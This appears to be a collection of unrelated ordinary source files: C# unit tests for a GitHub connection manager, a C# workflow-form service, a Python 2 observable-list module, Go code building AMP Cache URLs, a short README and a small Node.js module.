                Substitute.For<IKeychain>(),
                CreateLoginManager(),
                Substitute.For<IUsageTracker>(),
                Substitute.For<IVisualStudioBrowser>());
            var result = await target.GetLoadedConnections();

            Assert.That(2, Is.EqualTo(result.Count));
            Assert.That("https://github.com/", Is.EqualTo(result[0].HostAddress.WebUri.ToString()));
            Assert.That("https://valid.com/", Is.EqualTo(result[1].HostAddress.WebUri.ToString()));
            Assert.That(result[0].ConnectionError, Is.Null);
            Assert.That(result[1].ConnectionError, Is.Null);
        }

        [Test]
        public async Task ReturnsInvalidConnections()
        {
            var target = new ConnectionManager(
                CreateProgram(),
                CreateConnectionCache("github", "invalid"),
                Substitute.For<IKeychain>(),
                CreateLoginManager(),
                Substitute.For<IUsageTracker>(),
                Substitute.For<IVisualStudioBrowser>());
            var result = await target.GetLoadedConnections();

            Assert.That(2, Is.EqualTo(result.Count));
            Assert.That("https://github.com/", Is.EqualTo(result[0].HostAddress.WebUri.ToString()));
            Assert.That("https://invalid.com/", Is.EqualTo(result[1].HostAddress.WebUri.ToString()));
            Assert.That(result[0].ConnectionError, Is.Null);
            Assert.That(result[1].ConnectionError, Is.Not.Null);
        }
    }

    public class TheGetConnectionMethod
    {
        [Test]
        public async Task ReturnsCorrectConnection()
        {
            var target = new ConnectionManager(
                CreateProgram(),
                CreateConnectionCache("github", "valid"),
                Substitute.For<IKeychain>(),
                CreateLoginManager(),
                Substitute.For<IUsageTracker>(),
                Substitute.For<IVisualStudioBrowser>());
            var result = await target.GetConnection(HostAddress.Create("valid.com"));

            Assert.That("https://valid.com/", Is.EqualTo(result.HostAddress.WebUri.ToString()));
        }

        [Test]
        public async Task ReturnsCorrectNullForNotFoundConnection()
        {
            var target = new ConnectionManager(
                CreateProgram(),
                CreateConnectionCache("github", "valid"),
                Substitute.For<IKeychain>(),
                CreateLoginManager(),
                Substitute.For<IUsageTracker>(),
                Substitute.For<IVisualStudioBrowser>());
            var result = await target.GetConnection(HostAddress.Create("another.com"));

            Assert.That(result, Is.Null);
        }
    }

    public class TheLoginMethod
    {
        [Test]
        public async Task ReturnsLoggedInConnection()
        {
            var target = new ConnectionManager(
                CreateProgram(),
                CreateConnectionCache(),
                Substitute.For<IKeychain>(),
                CreateLoginManager(),
                Substitute.For<IUsageTracker>(),
                Substitute.For<IVisualStudioBrowser>());
            var result = await target.LogIn(HostAddress.GitHubDotComHostAddress, "user", "pass");

            Assert.That(result, Is.Not.Null);
        }

        [Test]
        public async Task AddsLoggedInConnectionToConnections()
        {
            var target = new ConnectionManager(
                CreateProgram(),
                CreateConnectionCache(),
                Substitute.For<IKeychain>(),
                CreateLoginManager(),
                Substitute.For<IUsageTracker>(),
                Substitute.For<IVisualStudioBrowser>());

            await target.LogIn(HostAddress.GitHubDotComHostAddress, "user", "pass");

            Assert.That(1, Is.EqualTo(target.Connections.Count));
        }

        [Test]
        public void ThrowsWhenLoginFails()
        {
            var target = new ConnectionManager(
                CreateProgram(),
                CreateConnectionCache(),
                Substitute.For<IKeychain>(),
                CreateLoginManager(),
                Substitute.For<IUsageTracker>(),
                Substitute.For<IVisualStudioBrowser>());

            Assert.ThrowsAsync<AuthorizationException>(async () =>
                await target.LogIn(HostAddress.Create("invalid.com"), "user", "pass"));
        }

        [Test]
        public void ThrowsWhenExistingConnectionExists()
        {
            var target = new ConnectionManager(
                CreateProgram(),
                CreateConnectionCache("github"),
                Substitute.For<IKeychain>(),
                CreateLoginManager(),
                Substitute.For<IUsageTracker>(),
                Substitute.For<IVisualStudioBrowser>());

            Assert.ThrowsAsync<InvalidOperationException>(async () =>
                await target.LogIn(HostAddress.GitHubDotComHostAddress, "user", "pass"));
        }

        [Test]
        public async Task SavesConnectionToCache()
        {
            var cache = CreateConnectionCache();
            var target = new ConnectionManager(
                CreateProgram(),
                cache,
                Substitute.For<IKeychain>(),
                CreateLoginManager(),
                Substitute.For<IUsageTracker>(),
                Substitute.For<IVisualStudioBrowser>());

            await target.LogIn(HostAddress.GitHubDotComHostAddress, "user", "pass");

            await cache.Received(1).Save(Arg.Is<IEnumerable<ConnectionDetails>>(x =>
                x.Count() == 1 && x.ElementAt(0).HostAddress == HostAddress.Create("https://github.com")));
        }
    }

    public class TheLogOutMethod
    {
        [Test]
        public async Task CallsLoginManagerLogOut()
        {
            var loginManager = CreateLoginManager();
            var target = new ConnectionManager(
                CreateProgram(),
                CreateConnectionCache("github"),
                Substitute.For<IKeychain>(),
                loginManager,
                Substitute.For<IUsageTracker>(),
                Substitute.For<IVisualStudioBrowser>());

            await target.LogOut(HostAddress.GitHubDotComHostAddress);

            await loginManager.Received().Logout(
                HostAddress.GitHubDotComHostAddress,
                Arg.Any<IGitHubClient>());
        }

        [Test]
        public async Task RemovesConnectionFromConnections()
        {
            var loginManager = CreateLoginManager();
            var target = new ConnectionManager(
                CreateProgram(),
                CreateConnectionCache("github"),
                Substitute.For<IKeychain>(),
                loginManager,
                Substitute.For<IUsageTracker>(),
                Substitute.For<IVisualStudioBrowser>());

            await target.LogOut(HostAddress.GitHubDotComHostAddress);

            Assert.That(target.Connections, Is.Empty);
        }

        [Test]
        public void ThrowsIfConnectionDoesntExist()
        {
            var loginManager = CreateLoginManager();
            var target = new ConnectionManager(
                CreateProgram(),
                CreateConnectionCache("valid"),
                Substitute.For<IKeychain>(),
                loginManager,
                Substitute.For<IUsageTracker>(),
                Substitute.For<IVisualStudioBrowser>());

            Assert.ThrowsAsync<KeyNotFoundException>(async () =>
                await target.LogOut(HostAddress.GitHubDotComHostAddress));
        }

        [Test]
        public async Task RemovesConnectionFromCache()
        {
            var cache = CreateConnectionCache("github");
            var target = new ConnectionManager(
                CreateProgram(),
                cache,
                Substitute.For<IKeychain>(),
                CreateLoginManager(),
                Substitute.For<IUsageTracker>(),
                Substitute.For<IVisualStudioBrowser>());

            await target.LogOut(HostAddress.GitHubDotComHostAddress);

            await cache.Received(1).Save(Arg.Is<IEnumerable<ConnectionDetails>>(x => x.Count() == 0));
        }
    }

    static IProgram CreateProgram()
    {
        var result = Substitute.For<IProgram>();
        result.ProductHeader.Returns(new ProductHeaderValue("foo"));
        return result;
    }

    static IConnectionCache CreateConnectionCache(params string[] hosts)
    {
        var result = Substitute.For<IConnectionCache>();
        var details = hosts.Select(x => new ConnectionDetails(
            HostAddress.Create($"https://{x}.com"),
            "user"));
        result.Load().Returns(details.ToList());
        return result;
    }

    static ILoginManager CreateLoginManager()
    {
        var result = Substitute.For<ILoginManager>();
        result.Login(null, null, null, null)
            .ReturnsForAnyArgs(new LoginResult(new User(), new ScopesCollection(new[] { "scope1" })));
        result.Login(HostAddress.Create("invalid.com"), Arg.Any<IGitHubClient>(), Arg.Any<string>(), Arg.Any<string>())
            .Returns<LoginResult>(_ => { throw new AuthorizationException(); });
        result.LoginFromCache(null, null)
            .ReturnsForAnyArgs(new LoginResult(new User(), new ScopesCollection(new[] { "scope1" })));
        result.LoginFromCache(HostAddress.Create("invalid.com"), Arg.Any<IGitHubClient>())
            .Returns<LoginResult>(_ => { throw new AuthorizationException(); });
        return result;
    }
}


text:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

using OSky.UI.Models.Flow;
using OSky.Utility.Data;
using OSky.UI.Dtos.Flow;
using OSky.Utility.Extensions;
using System.Security.Claims;
using System.Threading;
using OSky.Core.Exceptions;
using OSky.Utility;

namespace OSky.UI.Services
{
    public partial class FlowService
    {
        #region Implementation of IFlowContract
        /// <summary>
        /// 获取 流程表单数据集
        /// </summary>
        public IQueryable<WorkFlowForm> FlowForms
        {
            get { return FlowFormRepository.Entities; }
        }

        /// <summary>
        /// 添加工作流表单信息
        /// </summary>
        /// <param name="dtos">要添加的表单信息dto</param>
        /// <returns>业务操作结果</returns>
        public OperationResult AddFlowForm(params FlowFormDto[] dtos)
        {
            return FlowFormRepository.Insert(dtos, dto =>
            {
                if (FlowFormRepository.CheckExists(m => m.FormName == dto.FormName && m.TypeVal == dto.TypeVal))
                {
                    throw new Exception("名称为"{0}"的表单信息已存在,不能重复添加。".FormatWith(dto.FormName));
                }
            });
        }

        /// <summary>
        /// 更新工作流表单信息
        /// </summary>
        /// <param name="dtos">包含更新的表单信息dto</param>
        /// <returns>业务操作结果</returns>
        public OperationResult EditFlowForm(params FlowFormDto[] dtos)
        {
            dtos.CheckNotNull("dtos");
            return FlowFormRepository.Update(dtos);
        }

        /// <summary>
        /// 删除工作流表单信息
        /// </summary>
        /// <param name="ids">工作流表单信息Id集合</param>
        /// <returns>业务操作结果</returns>
        public OperationResult DeleteFlowForm(params Guid[] ids)
        {
            return FlowFormRepository.Delete(ids,
                (entity)=>
                {
                    if (FlowRelateFormRepository.CheckExists(m => m.FlowFormId == entity.Id))
                    {
                        throw new Exception("名称为"{0}"的表单流程已存在,不能删除。".FormatWith(entity.FormName));
                    }
                });
        }
        #endregion

        #region 私有方法
        /// <summary>
        ///  更新 流程设计表单
        /// </summary>
        /// <param name="id"></param>
        /// <returns></returns>
        private OperationResult UpdateWorkFlowForm(Guid id)
        {
            OperationResult result = new OperationResult(OperationResultType.NoChanged, "更新流程设计表单失败!");
            var entity = FlowFormRepository.GetByKey(id);
            entity.EnabledFlow = true;
            FlowFormRepository.Update(entity);
            result = new OperationResult(OperationResultType.Success, "更新 流程设计表单成功!");
            return result;
        }

        #endregion
    }
}


text:
from collections import defaultdict
import datetime
import itertools
import logging

LOGGER = logging.getLogger("hotlist")
LOGGER.setLevel(logging.DEBUG)
ch = logging.StreamHandler()
ch.setLevel(logging.DEBUG)
# create formatter and add it to the handlers
formatter = logging.Formatter('[%(name)s]%(levelname)s: %(message)s')
ch.setFormatter(formatter)
# add the handlers to the logger
LOGGER.addHandler(ch)

IMMUTABLE_TYPES = set([
    int, long, float, str, unicode,
    datetime.datetime, datetime.date, datetime.time, datetime.timedelta,
])

def add_immutable_type(tp):
    """
        Immutable types can be added to the set of immutable types, which
        are allowed for hot properties.
    """
    IMMUTABLE_TYPES.add(tp)

class HotBase(object):
    def __init__(self, name=None, parent=None):
        self._listeners = []
        if parent:
            assert name, "For non-root object, you must set a name too"
        if not parent:
            assert not name, "For root object, you may not set a name"
        self._parent = parent
        self._name = name

    def set_relation(self, name, parent):
        self._name = name
        self._parent = parent

    def get_fqname(self):
        """
            Returns the "path" from the parent to this object in the hierarchy
            of the hot objects, where the path is the list of names from the
            parent to this object. More formally, it is the parent's
            get_fqname extended with the name of this.
        """
        if self._parent is None:
            return "/"
        parent_name = self._parent.get_fqname()
        if not parent_name.endswith("/"):
            parent_name += "/"
        return parent_name + self._name

    def add_listener(self, listener):
        """
            Appends a listener to the listener list. The listeners are called
            in the order in which they were added. Listeners can be only added
            to the top-most object in the model's hierarchy.
        """
        assert self._parent is None
        self._listeners.append(listener)

    def get_listeners(self):
        """
            If this object does not have a parent, returns it's list of
            listeners. Otherwise returns parent's get_listeners.
        """
        if self._parent is None:
            return self._listeners
        return self._parent.get_listeners()

    def _fire(self, event_name, key):
        """
            Called to fire an event with the given name and given key.
        """
        fqname = self.get_fqname()
        LOGGER.debug(
            "FIRE: from=%s event=%s key=%s",
            fqname, event_name, key,
        )
        for listener in self.get_listeners():
            try:
                listener(self, fqname, event_name, key)
            except Exception, dummy:
                LOGGER.exception(
                    "Error firing %s to %s",
                    event_name, listener,
                )

    def _copy(self, the_other):
        """
            Copy the data from the_other instance of this class to self.
            Should be implemented in the subclasses, in which we want to be
            able to assign when they are part of a HotObject instance.

            _copy must fire events if applicable.
        """
        assert False, """_copy "constructor" not implemented"""

class HotObject(HotBase):
    """
        HotObject can mark some of it's properties hot, meaning when their
        content is changed, the object "fires" an event.
    """
    def __init__(self, name, parent):
        super(HotObject, self).__init__(name, parent)
        self._hot_properties = {}

    def make_hot_property(self, name, type_info, allow_none, initial_value):
        """
            make_hot_property registers the name to be a "hot" property.
            If the type is immutable, the this will be a property to which
            things can be assigned. If the type is a HotBase, the property
            itself will be readonly, but it's contents will be modifiable.
            Other values are not allowed.
        Params:
            name            The name of the property to be created.
            type_info       The allowed type for the property.
            allow_none      If type_info is HotBase, None may not be allowed.
            initial_value   This value is assigned to the property. Must be
                            None if type_info is a HotBase
        Returns:
            The value of the newly made property.
        """
        assert not name in self._hot_properties
        if type_info in IMMUTABLE_TYPES or issubclass(type_info, HotBase):
            pass
        else:
            raise TypeError(
                "Type not allowed as a hot property: %s" % type_info,
            )

        self._hot_properties[name] = (type_info, allow_none, )
        if issubclass(type_info, HotBase):
            assert not allow_none
        else:
            if not allow_none and initial_value is None:
                raise ValueError("None not allowed for %s" % name)
        if not initial_value is None and not isinstance(
            initial_value, type_info,
        ):
            raise TypeError(
                "Only %s allowed for %s" % (type_info.__name__, name),
            )
        if isinstance(initial_value, HotBase):
            initial_value.set_relation(name, self,)
        super(HotObject, self).__setattr__(name, initial_value)
        return initial_value

    def __setattr__(self, name, val):
        """
            If setting one of the hot properties, check the type. Otherwise
            just assign the value.
        """
        if name.startswith("_"):
            return super(HotObject, self).__setattr__(name, val)

        if name in self._hot_properties:
            (type_info, allow_none) = self._hot_properties[name]

            if issubclass(type_info, HotBase):
                target = getattr(self, name)
                target._copy(val)
                return

            # check if the value has changed
            if getattr(self, name) == val:
                return

            if not val is None and not isinstance(val, type_info):
                raise TypeError(
                    "Only %s allowed for %s" % (type_info.__name__, name),
                )
            if val is None and not allow_none:
                raise ValueError("None not allowed for %s" % name)

            ret = super(HotObject, self).__setattr__(name, val)
            self._fire("update", name)
            return ret
        # normal (not hot) properties
        return super(HotObject, self).__setattr__(name, val)

class HotList(HotBase):
    """
        A list that fires when changed.
    """
    def __init__(self, init_iterable=None, name=None, parent=None, ):
        super(HotList, self).__init__(name, parent)
        if init_iterable is None:
            init_iterable = []
        self.data = []
        if init_iterable:
            self.data = [self._validate_value(i) for i in init_iterable]
        self._fire("reset", None)

    def __len__(self):
        return len(self.data)

    def __iter__(self):
        return self.data.__iter__()

    def __getitem__(self, key):
        return self.data[key]

    def __delitem__(self, key):
        if type(key) is slice:
            del self.data[key]
            self._fire("reset", key)
        else:
            key = self._natural_index(key)
            del self.data[key]
            self._fire("delete", key)

    def __setitem__(self, key, value):
        if type(key) is slice:
            for i in value:
                self._validate_value(i)
            self.data[key] = value
            self._fire("reset", key)
        else:
            self.data[key] = self._validate_value(value)
            self._fire("update", self._natural_index(key))

    def insert(self, key, value):
        self.data.insert(key, self._validate_value(value))
        self._fire("insert", self._natural_index(key))

    def append(self, value):
        self.data.append(self._validate_value(value))
        self._fire("insert", len(self.data) - 1)

    def extend(self, iterable):
        for i in iterable:
            self.append(i)

    def _validate_value(self, val):
        """
            The members may only be "primitive" types (int, str and such),
            or tuples of primitive types.
        """
        if type(val) in IMMUTABLE_TYPES:
            return val
        if isinstance(val, tuple) or isinstance(val, frozenset):
            for i in val:
                self._validate_value(i)
            return val
        raise TypeError(
            "Only number/strings and tuples/frozensets allowed here.",
        )
    def _natural_index(self, index):
        """
            If we get a negative index, we must convert it to the "natural"
            0-based one.
        """
        if index < 0:
            return len(self.data) + index
        return index

    def __str__(self):
        return str(self.data)
    def __unicode__(self):
        return unicode(self.data)

    def _copy(self, the_other):
        """
            Set the data.
        """
        self.data = []
        for i in the_other:
            self.data.append(self._validate_value(i))
        self._fire("reset", None)

class TypedHotList(HotList):
    """
        TypedHotList is a HotList variant that can restrict it's items to
        the provided type.
    """
    def __init__(self, type_constraint, init_iterable=None,
                 name=None, parent=None,):
        """
            Initializes the structure, sets the type all items in the list
            must be.
        """
        super(TypedHotList, self).__init__(init_iterable, name, parent,)

        assert type_constraint in IMMUTABLE_TYPES \
                or \
                issubclass(type_constraint, tuple) \
                or \
                issubclass(type_constraint, frozenset)
        self.type_constraint = type_constraint

    def _validate_value(self, val):
        """
            The members may only be self.type_constraint. If the
            type_constraint is a tuple (or set) then it is also checked
            that the member's members are unmutable.
        """
        if not isinstance(val, self.type_constraint):
            raise TypeError(
                "Only %s allowed here." % self.type_constraint,
            )
        if isinstance(val, tuple) or isinstance(val, frozenset):
            for i in val:
                self._validate_sub_value(i)
        return val

    def _validate_sub_value(self, val):
        """
            Called from _validate_value, checks that the supplied value
            is immutable.
        """
        if type(val) in IMMUTABLE_TYPES:
            return val
        if isinstance(val, tuple) or isinstance(val, frozenset):
            for i in val:
                self._validate_sub_value(i)
            return val
        raise TypeError(
            "Only number/strings and tuples/frozensets allowed here.",
        )

class Mapper(object):
    """
        Mapper holds and resolves the mapping of the hot object's fqname
        and event_name to a callable. When the mapper is included into the
        view object it lets the user easily map events by their paths
        (fqnames) and event names to given callables.
    """
    def __init__(self):
        self._routes = defaultdict(lambda:[])

    def __call__(self, model, fqname, event_name, key):
        """
            Finds the callable for the (fqname, event_name) and calls them.
        """
        for callable in itertools.chain(
            self._routes[(fqname, event_name)],
            self._routes[(fqname, "")],
            self._routes[("", event_name)],
            self._routes[("", "")],
        ):
            try:
                callable(model, fqname, event_name, key)
            except:
                logging.exception("Error calling %s", callable)

    def listener(self, model, fqname, event_name, key):
        self(model, fqname, event_name, key)

    def add_route(self, fqname, event_name, callable):
        """
            Maps a (fully qualified name, event name) to a callable. Then,
        """
        self._routes[(fqname,event_name)].append(callable)


text:
package amphtml

import (
	"crypto/sha256"
	"encoding/base32"
	"net/url"
	"strconv"
	"strings"

	ampurl "github.com/ampproject/amppackager/internal/url"
	"github.com/pkg/errors"
	"golang.org/x/net/idna"
)

// sameURLIgnoringFragment is a helper for AbsoluteUrlValue below.
// Returns true if |base| is the same as |u| with the exception that |u| may
// also have an additional fragment component.
func sameURLIgnoringFragment(base string, u *url.URL) bool {
	// Due to https://github.com/golang/go/issues/29603 we have an extra check
	// for the empty fragment case.
	if u.Fragment == "" {
		return base == ampurl.String(u)
	}

	return base+"#"+u.Fragment == ampurl.String(u)
}

// isProtocolRelative is a mostly correct parse for protocol relative inputs
// by looking for a "//" prefix after stripping any leading whitespace and
// control characters.
func isProtocolRelative(urlParam string) bool {
	urlParam = strings.TrimLeftFunc(urlParam, func(r rune) bool {
		return r <= 0x20
	})
	return strings.HasPrefix(urlParam, "//")
}

// ToAbsoluteURL absolute-ifies |urlParam|, using |baseURL| as the base if
// |urlParam| is relative. If |urlParam| contains a fragment, this method
// will return only a fragment if its absolute URL matches |documentURL|,
// which prevents changing an in-document navigation to a out-of-document
// navigation.
func ToAbsoluteURL(documentURL string, baseURL *url.URL,
	urlParam string) string {
	if urlParam == "" {
		return ""
	}

	refurl, err := url.Parse(urlParam)
	// TODO(gregable): Should we strip this URL instead (ie: return "").
	if err != nil {
		return urlParam
	}
	// Go URL parser is strict, but we want non-strict behavior for resolving
	// references as per the algorithm in https://tools.ietf.org/html/rfc3986#section-5.2.2
	// tl;dr If the scheme is the same, unset it so the relative URL truly is relative.
	if refurl.Scheme == baseURL.Scheme {
		refurl.Scheme = ""
	}
	// Handle relative URLs that have a different scheme but no authority. In this
	// case, use the base's authority. Note that this behavior is not
	// compliant with RFC 3986 Section 5, however, this is what the Chrome browser
	// does. See b/124445904 .
	if refurl.Scheme != "" && refurl.Host == "" {
		refurl.Host = baseURL.Host
	}
	absoluteURL := baseURL.ResolveReference(refurl)

	// TODO(gregable): We should probably assemble data: / mailto: / etc URLs,
	// which will force them to be URL encoded, but this was left to maintain
	// the old behavior for now.
	if absoluteURL.Scheme != "http" && absoluteURL.Scheme != "https" {
		return urlParam
	}

	// Check for a specific case of protocol relative URL (ex: "//foo.com/")
	// which specifies the host, but not the protocol. For b/27292423.
	// Essentially we use protocol relative as a hint that this resource will
	// be available on https even if it's resolved path was http. In this hinted
	// case, we always prefer https.
	if isProtocolRelative(urlParam) {
		absoluteURL.Scheme = "https"
	}

	// Avoid rewriting a local fragment such as "#top" to a remote absolute URL
	// of "http://example.com/#top" if it wasn't a remote URL already.
	// Note that we also try to identify empty fragments (ex: href="#").
	// net/url doesn't support these (https://github.com/golang/go/issues/29603)
	// so we try to detect them heuristically.
	if (absoluteURL.Fragment != "" || strings.HasPrefix(urlParam, "#")) &&
		sameURLIgnoringFragment(documentURL, absoluteURL) {
		return "#" + absoluteURL.Fragment
	}

	return ampurl.String(absoluteURL)
}

// SubresourceType describes the type of subresource
type SubresourceType int8

const (
	// ImageType is a subresource for an image
	ImageType SubresourceType = iota
	// OtherType is a subresource for everything besides an image.
	OtherType
)

// SubresourceOffset describes the location of a subresource URL within some text.
// For example, if the text value is ".a {background-image:url(foo.jpg)}", then
// Start === 25 and End === 32
type SubresourceOffset struct {
	SubType SubresourceType
	// The offset position denoting the start of the substring (inclusive)
	Start int
	// The offset position denoting the end of the substring (exclusive)
	End int
	// If the type is an image, an optional width to convert the image so.
	DesiredImageWidth int
}

// CacheURL represents an AMP Cache URL
type CacheURL struct {
	Subdomain  string // publisher's subdomain within the cache. e.g. "example-com"
	descriptor string // Optional descriptor (used for image candidates), representing width or pixel density.
	*url.URL
}

// OriginDomain returns the scheme and host name, ignoring any path info.
func (c *CacheURL) OriginDomain() string {
	return "https://" + c.Subdomain + "." + AMPCacheHostName
}

// String reassembles the URL into a URL string
func (c *CacheURL) String() string {
	s := ampurl.String(c.URL)
	if len(c.descriptor) > 0 {
		s = s + " " + c.descriptor
	}
	return s
}

// IsCacheURL returns true if the given string is from the AMPCache domain. This check is overly
// simplistic and does no actual verification that the URL resolves (doesn't 404), nor if the URL
// is of the correct format for the resource type (image, or otherwise).
func IsCacheURL(input string) bool {
	if u, err := url.Parse(input); err == nil {
		return strings.HasSuffix(u.Hostname(), AMPCacheHostName)
	}
	return false
}

// GetCacheURL returns an AMP Cache URL structure for the URL identified by
// the given offset (relative to 'input') or an error if the URL could not be
// parsed.
func (so *SubresourceOffset) GetCacheURL(documentURL string, base *url.URL,
	input string) (*CacheURL, error) {
	urlStr := (input)[so.Start:so.End]
	absolute := ToAbsoluteURL(documentURL, base, urlStr)
	if len(absolute) == 0 {
		return nil, errors.New("unable to convert empty URL string")
	}
	origURL, err := url.Parse(absolute)
	if err != nil {
		return nil, errors.Wrap(err, "error parsing URL")
	}
	secureInfix := ""
	switch origURL.Scheme {
	case "https":
		// Add the secure infix
		secureInfix = "s/"
	case "http":
		// Supported
	default:
		// Unsupported scheme
		return nil, errors.New("unsupported scheme")
	}

	c := CacheURL{URL: origURL}
	// simplistic idempotent check
	if IsCacheURL(absolute) {
		c.Subdomain = strings.TrimSuffix(c.Hostname(), "."+AMPCacheHostName)
		return &c, nil
	}
	prefix := "/r/"
	if so.SubType == ImageType {
		prefix = "/i/"
		if so.DesiredImageWidth > 0 {
			wStr := strconv.Itoa(so.DesiredImageWidth)
			prefix = "/ii/w" + wStr + "/"
		}
	}
	c.Path = prefix + secureInfix + c.Hostname() + c.Path
	c.Scheme = "https"
	c.Subdomain = ToCacheURLSubdomain(c.Hostname())
	c.Host = c.Subdomain + "." + AMPCacheHostName
	return &c, nil
}

// ToCacheURLSubdomain converts an origin domain name to a dot-free human-readable string,
// that can be used in combination with an AMP Cache domain to identify the publisher's
// subdomain within that cache. If problems are encountered, fallback to a one-way hash.
//
// 1. Converts the origin domain from IDN (Punycode) to UTF-8.
// 2. Replaces every "-" (dash) with "--"(2 dashes).
// 3. Replaces every "." (dot) with a "-" (dash).
// 4. Converts back to IDN (Punycode).
//
// For example, if the origin is www.example.com, this returns www-example-com.
// On Google's AMP Cache, this will be prepended to the Google cache domain resulting in
// www-example-com.cdn.ampproject.org .
// See https://developers.google.com/amp/cache/overview for more info
func ToCacheURLSubdomain(originHost string) string {
	p := idna.New(idna.MapForLookup(), idna.VerifyDNSLength(true), idna.Transitional(true), idna.BidiRule())
	unicode, err := p.ToUnicode(originHost)
	if err != nil {
		return fallbackCacheURLSubdomain(originHost)
	}

	var sb strings.Builder
	for _, rune := range unicode {
		switch rune {
		case '.':
			sb.WriteRune('-')
		case '-':
			sb.WriteString("--")
		default:
			sb.WriteRune(rune)
		}
	}

	utf8 := sb.String()
	result, err := p.ToASCII(utf8)
	if err == nil && isValidCurls(result) {
		return result
	}

	// If there was an error due to the hyphen being in positions 3 and 4, try
	// to create a human readable version for CURLS label v2. Since err does not
	// tell us the specific error, check the hyphens manually.
	if utf8[2] == '-' && utf8[3] == '-' {
		var sb2 strings.Builder
		sb2.WriteString("0-")
		sb2.WriteString(utf8)
		sb2.WriteString("-0")

		utf8 = sb2.String()
		result, err = p.ToASCII(utf8)
		if err == nil && isValidCurls(result) {
			return result
		}
	}

	return fallbackCacheURLSubdomain(originHost)
}

func isValidCurls(result string) bool {
	return strings.ContainsRune(result, '-')
}

func fallbackCacheURLSubdomain(originHost string) string {
	sha := sha256.New()
	sha.Write([]byte(originHost))
	result := base32.StdEncoding.EncodeToString(sha.Sum(nil))
	// Remove the last four chars are always "====" which are not legal in a domain name.
	return strings.ToLower(result[0:52])
}


text:
NoOperation [cache-api][1] implementation.

[![Analytics](https://ga-beacon.appspot.com/UA-15041869-4/everit-org/cache-noop)](https://github.com/igrigorik/ga-beacon)

[1]: https://github.com/everit-org/cache-api


text:
var database = require('./database');
var auth = require('./auth');

module.exports = {
	database: database,
	auth: auth
};